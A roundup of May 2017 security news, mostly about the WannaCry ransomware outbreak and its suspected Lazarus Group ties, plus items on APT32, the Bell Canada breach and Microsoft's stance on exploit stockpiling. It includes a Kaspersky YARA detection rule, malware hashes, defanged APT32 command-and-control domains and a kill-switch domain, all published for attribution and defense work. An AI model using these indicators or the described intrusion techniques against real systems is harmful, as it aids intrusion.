Since Friday, banks, hospitals and state agencies have been among the victims of hackers exploiting vulnerabilities in older versions of Microsoft computer operating systems and demanding payment in the virtual currency Bitcoin.

The code used in the latest attack shared many similarities with past hacks blamed on the North, including the targeting of Sony Pictures and the central bank of Bangladesh, said Simon Choi, director of Seoul internet security firm Hauri.

Choi, known to have vast troves of data on Pyongyang's hacking activities, has publicly warned against potential ransomware attacks by the North since last year.

"I saw signs last year that the North was preparing ransomware attacks or even already beginning to do so, targeting some South Korean companies," he told AFP.

He cited a major attack last year that stole the data of over 10 million users of Interpark, a Seoul-based online shopping site, in which hackers demanded bitcoin payments worth about $3 million.

Seoul police blamed the North's main intelligence agency for the attack.

More attacks were possible, Choi said, "especially given that, unlike missile or nuclear tests, they can deny their involvement in attacks in cyberspace and get away with it".

Security researchers in the US, Russia and Israel have also reported signs of a potential North Korean link to the latest cyberattack, although there is no conclusive evidence yet.

Google researcher Neel Mehta posted details showing similarities between the "WannaCry" malware and computer code used by the Lazarus hacking group, widely believed to be connected to Pyongyang.

The isolated, nuclear-armed state is known to operate an army of thousands of hackers operating in both the North, and apparently China, and has been blamed for a number of major cyberattacks.

In November 2014, Sony Pictures Entertainment became the target of the biggest cyberattack in US corporate history, linked to its release of North Korea satire "The Interview", hated by Pyongyang.

Washington blamed Pyongyang for the hacking, a claim it denied -- though it had strongly condemned the film, which features a fictional CIA plot to assassinate leader Kim Jong-Un.

- 'Encrypted!' -

The North appears to have stepped up cyber-attacks in recent years in a bid to earn hard foreign currency in the face of United Nations sanctions imposed over its nuclear and missile programmes, Choi said.

He claimed to have last year tracked down an elite North Korean hacker who boasted online that the country was conducting tests for ransomware attacks.

On an online messenger system, Choi told AFP, "He said he and his colleagues were running tests for ransomware attacks."

The hacker was believed to be from the North's elite Kim Chaek University of Technology in Pyongyang and suspected of launching multiple cyber-attacks on North Korean defector organisations in Seoul, Choi said.

His IP address and other digital traces pointed to the North, he added.

So far 11 South Korean companies have been affected by WannaCry, Seoul's Yonhap news agency said, citing data from the state-run Korea Internet and Security Agency.

The malware blocks computers and puts up images on victims' screens demanding payment of $300 in the virtual currency Bitcoin, saying: "Ooops, your files have been encrypted!"

Payment is demanded within three days or the price is doubled, and if none is received within seven days the locked files will be deleted, according to the message.

The malware uses a hacking tool known as EternalBlue, which was published last month by an anonymous hacking group called Shadow Brokers, saying it had been obtained from the US National Security Agency.

"When the leak was published, I thought the North would never miss a chance like this," Lim Jong-In, a professor of Korea University Graduate School of Information Security, told AFP.

"I'm afraid that there may be more attacks down the road using the rest of the tools leaked in April," he said.


APT32, a new APT group alleged linked to the Vietnamese Government is targeting foreign corporations
16.5.2017 securityaffairs APT

APT32 is a new APT group discovered by security experts at FireEye that is targeting Vietnamese interests around the globe.
The APT32 group, also known as OceanLotus Group, has been active since at least 2013, according to the experts it is a state-sponsored hacking group.

The hackers targeting organizations across multiple industries and have also targeted foreign governments, dissidents, and journalists.

Since at least 2014, experts at FireEye have observed APT32 targeting foreign corporations with an interest in Vietnam’s manufacturing, consumer products, and hospitality sectors. The APT32 is also targeting peripheral network security and technology infrastructure corporations, and security firms that may have connections with foreign investors.

“APT32 leverages a unique suite of fully-featured malware, in conjunction with commercially-available tools, to conduct targeted operations that are aligned with Vietnamese state interests.” states the analysis published by FireEye.

FireEye highlighted that currently, it is impossible to precisely link the group to the Vietnamese government even if the information gathered by the hackers would be of very little use to any other state.

According to the experts, the cyber attacks seemed to be assessing the victims’ adherence to Vietnamese regulations but the Vietnamese government denies its involvement.

“The government of Vietnam does not allow any form of cyber-attacks against organizations or individuals,” said foreign ministry spokeswoman Le Thi Thu Hang. “All cyber-attacks or threats to cybersecurity, must be condemned and severely punished in accordance with regulations and laws.”

Back to the last wave of attacks, the APT32 hackers use phishing emails containing a weaponized attachment. It is interesting to note that the attachment is not a Word document, instead, it is an ActiveMime file containing an OLE file containing malicious macros.

Another element of innovation for this campaign is that attacker tracked the success of the phishing emails, using legitimate cloud-based email analytics. The phishing attachments contain an HTML image tags.

“When a document with this feature is opened, Microsoft Word will attempt to download the external image, even if macros were disabled. In all phishing lures analyzed, the external images did not exist.” reads the analysis. “Mandiant consultants suspect that APT32 was monitoring web logs to track the public IP address used to request remote images. When combined with email tracking software, APT32 was able to closely track phishing delivery, success rate, and conduct further analysis about victim organizations while monitoring the interest of security firms.”

The embedded macros create two scheduled tasks to gain persistence for the backdoors used by the hackers.

The first task executes the Squiblydoo application to enable the download of a backdoor from APT32 infrastructure. The second leads to a secondary backdoor delivered as a multi-stage PowerShell script configured to communicate with the domains blog.panggin[.]org, share.codehao[.]net, and yii.yiihao126[.]net.

APT32

APT32 threat actors regularly cleared select event log entries in order to conceal their operations, they also heavily obfuscated their PowerShell-based tools and shellcode loaders with Daniel Bohannon’s Invoke-Obfuscation framework.

The arsenal of APT32 includes a custom suite of backdoors such as Windshield, Komprogo, Soundbite, Phoreal, and Beacon.

FireEye warns of the increasing number of nation-state actors using cyber operations to gather intelligence.

“FireEye assesses that APT32 is a cyber espionage group aligned with Vietnamese government interests,” Concluded FireEye. “As more countries utilize inexpensive and efficient cyber operations, there is a need for public awareness of these threats and renewed dialogue around emerging nation-state intrusions that go beyond public sector and intelligence targets.”


Google Researcher Finds Link Between WannaCry Attacks and North Korea
16.5.2017 thehackernews Ransomware
So far, nobody had an idea that who was behind WannaCry ransomware attacks?
But now there is a clue that lies in the code.
Neel Mehta, a security researcher at Google, found evidence that suggests the WannaCry ransomware, that infected 300,000 machines in 150 countries over the weekend, is linked to a state-sponsored hacking group in North Korea, known for cyber attacks against South Korean organizations.
What's Happening? What is WannaCry?
This is the fifth day since the WannaCry ransomware attack surfaced, that leverages a critical Windows SMB exploit and still infecting machines across the world using newly released variants that don't have any "kill switch" ability.
In case, if you have landed on WannaCry story for the first time, and don’t know what’s going on, you are advised to also read this simple, summarized, but detailed explanation:
WannaCry: What Has Happened So Far & How to protect your PCs
WannaCry: First Nation-State Powered Ransomware?

Neel discovered that the code found in the WannaCry malware—one that first surfaced in February—was identical to the code used in an early 2015 version of Cantopee, a malicious backdoor developed by Lazarus Group, believed to be a state-sponsored hacking group linked to the North Korean government.
Security researchers from Kaspersky Lab, Intezer, Symantec, and Comaeio immediately followed the tip from Neel and confirmed a strong link between WannaCry and other malware families, including Lazarus, Joanap, and Brambul, which suggests WannaCry was written or modified by the same author.

Operating since at least 2011, Lazarus Group of hackers believed to be responsible for the 2013 DarkSeoul operation, the devastating 2014 Sony Pictures Hack, and the 2016 Bangladesh $81 Million bank heist.
However, this finding is not yet sufficient to link the Lazarus Group to WannaCry, because it is possible that WannaCry authors may have purposely copied code from Lazarus' backdoor program in an attempt to mislead researchers and law enforcement as they investigate.
"We believe that there are sufficient connections to warrant further investigation. We will continue to share further details of our research as it unfolds," says Symantec, the security firm which has tracked the Lazarus over recent years.
Agreeing to the same, Matt Suiche from Comaeio said:
"The attribution to Lazarus Group would make sense regarding their narrative which in the past was dominated by infiltrating financial institutions in the goal of stealing money. If validated, this means the latest iteration of WannaCry would, in fact, be the first nation state powered ransomware."
Is the WannaCry Attack Over? *NO*
Absolutely Not; this is just the beginning.
Security researchers have discovered some new variants of this ransomware, which could not be stopped by the kill switch, so you are advised to make sure you have applied the patch for SMB vulnerability and disabled SMBv1 protocol to keep your Windows computers safe from WannaCry and other similar attacks.
The WannaCry attackers demand ransom fees between $300 to $600 to free the hijacked data. The three bitcoin wallets tied to #WannaCry ransomware have received 225 payments totaling 35.98003282 BTC (approx. $60,000) from ransomware victims.


Hackers Hit Bell Canada, Access Customer Information

16.5.2017 securityweek  Incindent

Bell Canada on Monday said that an unknown hacker managed to access customer information on nearly 2 million customers, including email addresses, customer names and/or telephone numbers.

The company said that approximately 1.9 million active email addresses and approximately 1,700 names and active phone numbers were accessed illegally in the attack.

There is no indication that any financial, password or other sensitive personal information was accessed, a statement read.

The telco said the incident is not connected to the recent global WannaCry ransomware attacks, and believes there is “minimal risk involved for those affected” by the situation.

While Bell Canada dismissed the data stolen by hackers as having minimal risk, having access to customer lists opens the opportunity for targeted phishing attacks to customers who expect communications from the company. Being able to send a targeted phishing message to a customer and personally address them by name will certainly result in a much higher success rate than a typical blind spamming campaign would yield.

The company said it has been working with the Royal Canadian Mounted Police cybercrime unit on the investigation and has informed the Office of the Privacy Commissioner.


Security experts link WannaCry ransomware to Lazarus Group
16.5.2017 securityaffairs  Ransomware

In the IT security community several experts start linking the WannaCry ransomware to the Lazarus Group due to similarities in the attack codes.
The security researcher at Google Neel Mehta published a mysterious tweet using the #WannaCryptAttribution hashtag. What did he mean?

Follow
Neel Mehta @neelmehta
9c7c7149387a1c79679a87dd1ba755bc @ 0x402560, 0x40F598
ac21c8ad899727137c4b94458d7aa8d8 @ 0x10004ba0, 0x10012AA4#WannaCryptAttribution
7:02 PM - 15 May 2017
145 145 Retweets 172 172 likes
According to experts at Kaspersky, the string is a portion of code that Neel noticed in a very early variant of WannaCry ransomware found in February 2017 and in one of the malware used by the notorious Lazarus APT group dated back February 2015.

Wannacry ransomware vs Lazarus_02-1024x549


Matthieu Suiche ✔ @msuiche
Similitude between #WannaCry and Contopee from Lazarus Group ! thx @neelmehta - Is DPRK behind #WannaCry ?
8:04 PM - 15 May 2017
428 428 Retweets 327 327 likes
What does it all mean?

The activity of the Lazarus Group surged in 2014 and 2015, its members used mostly custom-tailored malware in their attacks and experts that investigated on the crew consider it highly sophisticated.

This threat actor has been active since at least 2009, possibly as early as 2007, and it was involved in both cyber espionage campaigns and sabotage activities aimed to destroy data and disrupt systems.

The experts at Symantec have spotted in the past at least three strains of malware used by the group, Backdoor.Fimlis, Backdoor.Fimlis.B, and Backdoor.Contopee, which have been used in targeted attacks against financial institutions.

The attackers exploited “watering holes” in order to infect the machines of a specific audience with previously unknown malware.

Researchers speculate the group was responsible for the last wave of attacks against banks worldwide, for the Sony hack, and the DarkSeoul operation.

Is it possible that attackers behind the WannaCry have used a false flag?

Experts from Kaspersky believe that the theory of a false flag is improbable because the portion of shared code appears only in the early version of WannaCry, but was removed later.

“For now, more research is required into older versions of Wannacry. We believe this might hold the key to solve some of the mysteries around this attack. One thing is for sure — Neel Mehta’s discovery is the most significant clue to date regarding the origins of WannaCry.” reads a blog post shared by Kaspersky Lab.

The question is: is there a link between early February WannaCry variant and the sample used in the recent massive cyber attacks?

According to Kaspersky, the answer is “YES”. The recent variant is able to target more file extension targets for encryption.

“We strongly believe the February 2017 sample was compiled by the same people, or by people with access to the same sourc ecode as the May 2017 Wannacry encryptor used in the May 11th wave of attacks.” continues Kaspersky.

Kaspersky shared the YARA rule used to find the WannaCry sample.

Let me close with the analysis shared by Matthieu Suiche from Comae:

“The attribution to Lazarus Group would make sense regarding their narrative which in the past was dominated by infiltrating financial institutions in the goal of stealing money.

If validated, this means the latest iteration of WannaCry would in fact be the first nation state powered ransomware.

This would also mean that a foreign hostile nation would have leveraged lost offensive capabilities from Equation Group to create global chaos.

In the meantime, a third kill switch appeared in the wild
ayylmaotjhsstasdfasdfasdfasdfasdfasdfasdf.com
— the fact it contains
lmao
would mean, if the above attribution is correct, that the attacker is purposely sending multiple messages:

A Global provocation message to the Law Enforcement & Security researcher community to be translated as “Keep Trying”.
Enforce the theory that the last iteration of WannaCry is a destructive operation to create political mayhem.!
Stay tuned


WannaCry and Lazarus Group – the missing link?
16.5.2017 Kaspersky  Ransomware

A few hours ago, Neel Mehta, a researcher at Google posted a mysterious message on Twitter with the #WannaCryptAttribution hashtag:

The cryptic message in fact refers to a similarity between two samples that have shared code. The two samples Neel refers to in the post are:

A WannaCry cryptor sample from February 2017 which looks like a very early variant
A Lazarus APT group sample from February 2015
The similarity can be observed in the screenshot below, taken between the two samples, with the shared code highlighted:

So, what does it all mean? Here’s a few questions and answers to think about.

I know about Wannacry, but what is Lazarus?

We wrote about the Lazarus group extensively and presented together with our colleagues from BAE and SWIFT at the Kaspersky Security Analyst Summit (SAS 2017). See:

Lazarus Under The Hood
Operation Blockbuster revealed
Among other things, the Lazarus group was responsible for the Sony Wiper attack, the Bangladesh bank heist and the DarkSeoul operation.

We believe Lazarus is not just “yet another APT actor”. The scale of the Lazarus operations is shocking. The group has been very active since 2011 and was originally disclosed when Novetta published the results of its Operation Blockbuster research. During that research, which we also participated in, hundreds of samples were collected and show that Lazarus is operating a malware factory that produces new samples via multiple independent conveyors.

Is it possible this is a false flag?

In theory anything is possible, considering the 2015 backdoor code might have been copied by the Wannacry sample from February 2017. However, this code appears to have been removed from later versions. The February 2017 sample appears to be a very early variant of the Wannacry encryptor. We believe a theory a false flag although possible, is improbable.

What conclusions can we make?

For now, more research is required into older versions of Wannacry. We believe this might hold the key to solve some of the mysteries around this attack. One thing is for sure — Neel Mehta’s discovery is the most significant clue to date regarding the origins of Wannacry.

Are we sure the early February variant is the precursor to the later attacks?

Yes, it shares the same the list file extension targets for encryption but, in the May 2017 versions, more extensions were added:

> .accdb
> .asm
> .backup
> .bat
> .bz2
> .cmd
> .der
> .djvu
> .dwg
> .iso
> .onetoc2
> .pfx
> .ps1
> .sldm
> .sldx
> .snt
> .sti
> .svg
> .sxi
> .vbs
> .vcd

They also removed an older extension: “.tar.bz2” and replaced it with just “.bz2”
We strongly believe the February 2017 sample was compiled by the same people, or by people with access to the same sourcecode as the May 2017 Wannacry encryptor used in the May 11th wave of attacks.

So. Now what?

We believe it’s important that other researchers around the world investigate these similarities and attempt to discover more facts about the origin of Wannacry. Looking back to the Bangladesh attack, in the early days, there were very few facts linking them to the Lazarus group. In time, more evidence appeared and allowed us, and others, to link them together with high confidence. Further research can be crucial to connecting the dots.

Has anyone else confirmed this?

Yes, Matt Suiche from Comae Technologies confirmed the same similarity based on Neel’s samples:

Can you share the YARA rule used to find this?

Yes, of course.

You can download the “lazaruswannacry” Yara rule here.

Also included below for easy reading:

rule lazaruswannacry {

meta:

description = “Rule based on shared code between Feb 2017 Wannacry sample and Lazarus backdoor from Feb 2015 discovered by Neel Mehta”
date = “2017-05-15”
reference = “https://twitter.com/neelmehta/status/864164081116225536”
author = “Costin G. Raiu, Kaspersky Lab”
version = “1.0”
hash = “9c7c7149387a1c79679a87dd1ba755bc”
hash = “ac21c8ad899727137c4b94458d7aa8d8”

strings:

$a1={
51 53 55 8B 6C 24 10 56 57 6A 20 8B 45 00 8D 75
04 24 01 0C 01 46 89 45 00 C6 46 FF 03 C6 06 01
46 56 E8
}

$a2={
03 00 04 00 05 00 06 00 08 00 09 00 0A 00 0D 00
10 00 11 00 12 00 13 00 14 00 15 00 16 00 2F 00
30 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00
38 00 39 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00
44 00 45 00 46 00 62 00 63 00 64 00 66 00 67 00
68 00 69 00 6A 00 6B 00 84 00 87 00 88 00 96 00
FF 00 01 C0 02 C0 03 C0 04 C0 05 C0 06 C0 07 C0
08 C0 09 C0 0A C0 0B C0 0C C0 0D C0 0E C0 0F C0
10 C0 11 C0 12 C0 13 C0 14 C0 23 C0 24 C0 27 C0
2B C0 2C C0 FF FE
}

condition:

((uint16(0) == 0x5A4D)) and (filesize < 15000000) and
all of them
}


WannaCry Ransomware: Everything You Need To Know Immediately
15.5.2017 thehackernews Ransomware
By now I am sure you have already heard something about the WannaCry ransomware, and are wondering what's going on, who is doing this, and whether your computer is secure from this insanely fast-spreading threat that has already hacked nearly 200,000 Windows PCs over the weekend.
The only positive thing about this attack is that — you are here — as after reading this easy-to-understandable awareness article, you would be so cautious that you can save yourself from WannaCry, as well as other similar cyber attacks in the future.
Since this widely spread ransomware attack is neither the first nor the last one to hit users worldwide, prevention is always the key to protect against such malware threats.
What is WannaCry? How to Protect your Computer from WannaCry Ransomware? Follow These Simple Steps.
TWEET THIS
In this article, we have provided some of the most important primary security tips that you should always follow and advised to share with everyone you care for.
What is Ransomware & Why WannaCry is More Dangerous?

 

(A simple video demonstrating of WannaCry Ransomware, showing how fast it spreads from system-to-system without any user Interaction)
For those unaware, Ransomware is a computer virus that usually spreads via spam emails and malicious download links; specially designed to lock up the files on a computer, until the victim pays the ransom demand, usually $300-$500 in Bitcoins.
But what makes WannaCry so unique and nasty is its ability to self-spread without even need to click any link or a file.
The WannaCry ransomware, also known as Wanna Decryptor, leverages a Windows SMB exploit, dubbed EternalBlue, that allows a remote hacker to hijack computers running on unpatched Microsoft Windows operating system.
Once infected, WannaCry also scans for other unpatched PCs connected to the same local network, as well as scans random hosts on the wider Internet, to spread itself quickly.
What Has Happened So Far

We have been covering this story since Friday when this malware was first emerged and hit several hospitals across the globe, eventually forcing them to shut down their entire IT systems over the weekend, hence rejecting patients appointments, and cancel operations.
Later this cyber attack brought down many organizations to their knees.
Instead of repeating same details again, read our previous articles dig deeper and know what has happened so far:
Day 1: OutCry — WannaCry targeted over 90,000 computers in 99 countries.
Day 2: The Patch Day — A security researcher successfully found a way to slow down the infection rate, and meanwhile, Microsoft releases emergency patch updates for unsupported versions of Windows.
Day 3: New Variants Arrives — Just yesterday, some new variants of WannaCry, with and without a kill-switch, were detected in the wild would be difficult to stop for at least next few weeks.
Isn’t the Cyber Attack Over?
Absolutely not.
This is just beginning. As I reported yesterday, security researchers have detected some new versions of this ransomware, dubbed WannaCry 2.0, which couldn’t be stopped by the kill switch.
What's even worse is that the new WannaCry variant believed to be created by someone else, and not the hackers behind the first WannaCry ransomware.
It has been speculated that now other organized cybercriminal gangs, as well as script-kiddies can get motivated by this incident to create and spread similar malicious ransomware.
Who's Behind WannaCry & Why Would Someone Do This?
While it's still not known who is behind WannaCry, such large-scale cyber attacks are often propagated by nation states, but this ongoing attack does not bear any link to foreign governments.
"The recent attack is at an unprecedented level and will require a complex international investigation to identify the culprits," said Europol, Europe's police agency.
Why are they hijacking hundreds of thousands of computers around the globe? Simple — to extort money by blackmailing infected users.

By looking at the infection rate, it seems like the criminals responsible for this absurd attack would have made lots and lots of dollars so far, but surprisingly they have made relatively little in the way of profits, according to @actual_ransom, a Twitter account that’s tweeting details of every single transaction.
At the time of writing, the WannaCry attackers have received 171 payments totaling 27.96968763 BTC ($47,510.71 USD).
How to Protect Yourself from WannaCry Ransomware?
Here are some simple tips you should always follow because most computer viruses make their ways into your systems due to lack of simple security practices:
1. Always Install Security Updates
If you are using any version of Windows, except Windows 10, with SMB protocol enabled, make sure your computer should always receive updates automatically from the Microsoft, and it’s up-to-date always.
2. Patch SMB Vulnerability
Since WannaCry has been exploiting a critical SMB remote code execution vulnerability (CVE-2017-0148) for which Microsoft has already released a patch (MS17-010) in the month of March, you are advised to ensure your system has installed those patches.
Moreover, Microsoft has been very generous to its users in this difficult time that the company has even released the SMB patches (download from here) for its unsupported versions of Windows as well, including Windows XP, Vista, 8, Server 2003 and 2008.
Note: If you are using Windows 10, you are not vulnerable to SMB vulnerability.
3. Disable SMB
Even if you have installed the patches, you are advised to disable Server Message Block version 1 (SMBv1) protocol, which is enabled by default on Windows, to prevent against WannaCry ransomware attacks.
Here's the list of simple steps you can follow to disable SMBv1:
Go to Windows' Control Panel and open 'Programs.'
Open 'Features' under Programs and click 'Turn Windows Features on and off.'
Now, scroll down to find 'SMB 1.0/CIFS File Sharing Support' and uncheck it.
Then click OK, close the control Panel and restart the computer.
4. Enable Firewall & Block SMB Ports
Always keep your firewall enabled, and if you need to keep SMBv1 enabled, then just modify your firewall configurations to block access to SMB ports over the Internet. The protocol operates on TCP ports 137, 139, and 445, and over UDP ports 137 and 138.
5. Use an Antivirus Program
An evergreen solution to prevent against most threats is to use a good antivirus software from a reputable vendor and always keep it up-to-date.
Almost all antivirus vendors have already added detection capability to block WannaCry, as well as to prevent the secret installations from malicious applications in the background.
6. Be Suspicious of Emails, Websites, and Apps
Unlike WannaCry, most ransomware spread through phishing emails, malicious adverts on websites, and third-party apps and programs.
So, you should always exercise caution when opening uninvited documents sent over an email and clicking on links inside those documents unless verifying the source to safeguard against such ransomware infection.
Also, never download any app from third-party sources, and read reviews even before installing apps from official stores.
7. Regular Backup your Files:
To always have a tight grip on all your important documents and files, keep a good backup routine in place that makes their copies to an external storage device which is not always connected to your computer.
That way, if any ransomware infects you, it can not encrypt your backups.
8. Keep Your Knowledge Up-to-Date
There's not a single day that goes without any report on cyber attacks and vulnerabilities in popular software and services, such as Android, iOS, Windows, Linux and Mac Computers as well.
So, it’s high time for users of any domain to follow day-to-day happening of the cyber world, which would not only help them to keep their knowledge up-to-date, but also prevent against even sophisticated cyber attacks.
What to do if WannaCry infects you?
Well, nothing.
If WannaCry ransomware has infected you, you can’t decrypt your files until you pay a ransom money to the hackers and get a secret key to unlock your file.
Never Pay the Ransom:
It’s up to the affected organizations and individuals to decide whether or not to pay the ransom, depending upon the importance of their files locked by the ransomware.
But before making any final decision, just keep in mind: there's no guarantee that even after paying the ransom, you would regain control of your files.
Moreover, paying ransom also encourages cyber criminals to come up with similar threats and extort money from the larger audience.
So, sure shot advice to all users is — Don't Pay the Ransom.
Who is responsible for WannaCry Attack?
— Is it Microsoft who created an operating system with so many vulnerabilities?
— Or is it the NSA, the intelligence agency of the United States, who found this critical SMB vulnerability and indirectly, facilitates WannaCry like attacks by not disclosing it to Microsoft?
— Or is it the Shadow Brokers, the hacking group, who managed to hack the NSA servers, but instead of reporting it to Microsoft, they decided to dump hacking tools and zero-day exploits in public?
— Or is it the Windows users themselves, who did not install the patches on their systems or are still using an unsupported version of Windows?
I do not know who can be blamed for this attack, but according to me, all of them shares equal responsibility.
Microsoft Blames NSA/CIA for WannaCry Cyber Attack
Microsoft has hit out at the US government for facilitating cyber attacks, like WannaCry, by not disclosing the software vulnerabilities to the respective vendors and holding them for their benefits, like global cyber espionage.
In a blog post on Sunday, Microsoft President Brad Smith condemned the US intelligence agencies’ unethical practices, saying that the "widespread damage" caused by WannaCry happened due to the NSA, CIA and other intelligence agencies for holding zero-days and allowing them to be stolen by hackers.
"This is an emerging pattern in 2017. We have seen vulnerabilities stored by the CIA show up on WikiLeaks, and now this vulnerability stolen from the NSA has affected customers around the world," Smith said.
This statement also publicly confirms that the hacking tools and exploits leaked by the Shadow Brokers belong to Equation Group, an elite group of hackers from NSA.
"Repeatedly, exploits in the hands of governments have leaked into the public domain and caused widespread damage," Smith wrote.
You Should Thank These Experts
When the outbreak of WannaCry ransomware started on Friday night, It had already infected at least 30,000 computers worldwide, and at that moment nobody had an idea what’s happening and how the ransomware can spread itself like a worm so quickly.
Since then, in last three days, some cybersecurity experts and companies are continuously working hard, day and night, to analyze malware samples to find every possible way to stop this massive attack.
Thanks for Your Hard Work 😍 @MalwareTechBlog @msuiche @craiu @gentilkiwi @x0rz to Kill the WannaCry.
CLICK TO TWEET
I have mentioned some of them, who should be thanked for saving millions of computers from getting hacked:
MalwareTech — very skilled 22-years-old malware hunter who first discovered that here’s a kill-switch, which if used could stop ongoing ransomware attack.
Matthieu Suiche — security researcher who discovered the second kill-switch domain in a WannaCry variant and prevent nearly 10,000 computers from getting hacked.
Costin Raiu — security researcher from Kaspersky Lab, who first found out that there are more WannaCry variants in the wild, created by different hacking groups, with no kill-switch ability.
Not only this, Benjamin Delpy, Mohamed Saher, x0rz, Malwarebytes, MalwareUnicorn, and many others. This list of experts is very long, and if I have missed some name, then I'm sorry.
You can also follow our channel @TheHackerNews, me @Unix_Root, and our Cybersecurity reporter @Swati_THN, on twitter for latest updates.
Thank you. Stay tuned.


Google to Scrutinize Web Applications Requesting User Data

15.5.2017 securityweek Security
In the light of a recent phishing attack targeting Gmail users, Google is updating its app identity guidelines and is implementing a more thorough review process for new web applications that request user data.

The attack unfolded a couple of weeks back, when Gmail users started receiving phishing emails pretending to come from a known recipient looking to share content with them on Google Docs. A link in these emails didn’t take users to the expected content but instead opened a login page, where a certain Google Docs app requested permissions to access the recipient’s contacts and emails.

Google managed to stop the attack within hours and said that less than 0.1% of Gmail users were impacted by the incident. To prevent similar situations from happening again, the company decided to tighten OAuth rules, updated its anti-spam systems, and announced augmented monitoring of suspicious third-party apps that request information from users.

The company now says that new web applications that request access to user data will face more scrutiny. Google’s enhanced risk assessment will also result in some web applications requiring a manual review.

“Until the review is complete, users will not be able to approve the data permissions, and we will display an error message instead of the permissions consent page. You can request a review during the testing phase in order to open the app to the public. We will try to process those reviews in 3-7 business days. In the future, we will enable review requests during the registration phase as well,” Google announced.

Web app developers will continue to use their applications for testing purposes before they are approved. For that, they need to log in with an account registered as an owner/editor of that project in the Google API Console, where they will also be able to add more testers and to initiate the review process.

Additionally, the company announced updated app identity guidelines to further enforce the Google API user data policy which states that apps must not mislead users (meaning that they should have unique names and should not copy other apps).

In line with this policy, the company decided to update the app publishing process, risk assessment systems, and user-facing consent page “to better detect spoofed or misleading application identities.” As a result, web app developers may see an error message when registering new applications or modifying existing app attributes in the Google API Console, Firebase Console, or Apps Script editor.

“These changes may add some friction and require more time before you are able to publish your web application, so we recommend that you plan your work accordingly,” Google says. The company also encourages developers to review previous posts on their responsibilities when requesting access to user data from their applications.


General Services Administration Launches Bug Bounty Program

15.5.2017 securityweek
The General Services Administration (GSA), an agency that provides real estate, acquisition and technology services to the U.S. government, announced last week the launch of a new bug bounty program.

The bug bounty program, powered by the HackerOne platform, covers vulnerabilities and bugs in software operated by the GSA’s Technology Transformation Service (TTS). The new initiative was announced on the website of 18F, a TTS office that provides digital development and consulting services for government agencies.

The HackerOne-based program was announced a few months after 18F published the TTS’s vulnerability disclosure policy, which provides information on how security experts can report flaws found in the organization’s systems.

The list of targeted services includes cloud.gov and several specified subdomains, login.gov and specified subdomains, vote.gov, analytics.usa.gov, calc.gsa.gov, micropurchase.18f.gov, and 18f.gsa.gov.

The program invites anyone – from high school students to employees of major security firms – to submit their findings. Participants can earn between $300 and $5,000 for the flaws they disclose.

HackerOne’s role is to triage submissions and forward valid bug reports to TTS, which will address the vulnerabilities.

“With bug bounties becoming an established industry-wide best practice, it’s important for us to establish our own. With the results we receive from the TTS Bug Bounty, we look forward to establishing a permanent program that involves most — if not all — TTS-owned websites and web applications,” 18F representatives said in a blog post.

It’s not always easy for researchers to disclose vulnerabilities they have found in government systems, and some have even been arrested for trying to expose flaws. However, the GSA has promised not to initiate legal action against experts who comply with its policy.

This will be the first public bug bounty program run by a civilian agency, and it was inspired by the success of Department of Defense initiatives such as Hack the Pentagon and Hack the Army.

The latest bug bounty program announced by the DoD is named Hack the Air Force, which is open for experts in the United States, the United Kingdom, Australia, Canada and New Zealand.


Microsoft Warns Governments Against Exploit Stockpiling

15.5.2017 securityweek Exploit
Microsoft Says WannaCry Ransomware Outbreak Should be a Wake Up Call for Governments

Microsoft president and chief legal officer Brad Smith has renewed his call for an international 'Digital Geneva Convention' following the global WannaCrypt ransomware attack that started on Friday.

In 'The need for urgent collective action to keep people safe online: Lessons from last week’s cyberattack', Smith wrote Sunday, "The governments of the world should treat this attack as a wake-up call. They need to take a different approach and adhere in cyberspace to the same rules applied to weapons in the physical world."

Some estimates now suggest that WannaCrypt has affected more than 200,000 users in 200 different countries. But if Smith's proposals were already standard practice, it need never have happened. Earlier this year he called for a digital Geneva Convention that "should mandate that governments report vulnerabilities to vendors rather than stockpile, sell or exploit them."

"This attack provides yet another example of why the stockpiling of vulnerabilities by governments is such a problem," he wrote yesterday. "This is an emerging pattern in 2017. We have seen vulnerabilities stored by the CIA show up on WikiLeaks, and now this vulnerability stolen from the NSA has affected customers around the world. Repeatedly, exploits in the hands of governments have leaked into the public domain and caused widespread damage."

The current worldwide 'incident', which could be described as 'a perfect storm', happened (and is continuing) through the convergence of three primary threats: the continued use of unsupported operating systems (more specifically, Windows XP); the continuing success of phishing; and the availability of 0-day exploits.

The exploits were available because the NSA stockpiled cyber weapons, and Shadow Brokers stole and released them. Smith's digital Geneva convention would have mandated that the NSA report them to Microsoft, and Microsoft could have worked with its users to protect against them. "This is one reason," Smith wrote yesterday, "we called in February for a new 'Digital Geneva Convention' to govern these issues, including a new requirement for governments to report vulnerabilities to vendors, rather than stockpile, sell, or exploit them."

In reality, while a digital Cyber Convention may have prevented this particular outbreak, it would not prevent a similar outbreak combining unsupported operating systems, phishing and 0-day exploits. The one part that would help prevent or minimize similar future incidents would be for customers to upgrade their computers to newer and supported versions -- and this simply is not happening fast enough.

In the UK, the National Health Service was badly affected by WannaCrypt because of its reliance on older systems. This has led to a political row (obviously stoked by the run-up to a general election) over NHS funding. The government claims it has provided funds; the opposition parties claim that funding has been insufficient. A hospital will always be tempted to spend its money on saving lives rather than improving its IT infrastructure. Upgrades need to be mandated rather than recommended.

In the US, President Trump has recognized this. The newly signed CyberSecurity Executive Order states "The President will hold heads of executive departments and agencies (agency heads) accountable for managing cybersecurity risk to their enterprises." It then specifically calls out old systems as a risk to be managed: "The executive branch has for too long accepted antiquated and difficult–to-defend IT." The implication is clear -- executive heads will need to upgrade all unsupported old operating systems to new and supported versions; or be held responsible.

Smith's digital Geneva Convention would have prevented these exploits getting into the public domain; but it cannot mandate operating system upgrades. That doesn't mean it's not a good idea nor that it is not necessary, only that it is not a silver bullet. The convention is part of Microsoft's wider call for an international agreement on Norms -- acceptable international norms of cyber behavior.

It is an uphill struggle. Last week's report from America's Intelligence Community -- delivered just two days before the start of the WannaCrypt incident -- states, "Although efforts are ongoing to gain adherence to certain voluntary, non-binding norms of responsible state behavior in cyberspace, they have not gained universal acceptance, and efforts to promote them are increasingly polarized... Moreover, although some countries might be willing to explore limits on cyber operations against certain targets, few would likely support a ban on offensive capabilities."

The implication is that the NSA is unlikely to heed Smith's call for a Digital Geneva Convention. It will seek to maintain its ability to maintain offensive capabilities, and that will require continued exploit stockpiling.

Ilia Kolochenko, CEO of High-Tech Bridge, says it would be unreasonable and inappropriate to blame the NSA for any significant contribution to the WannaCry attacks.

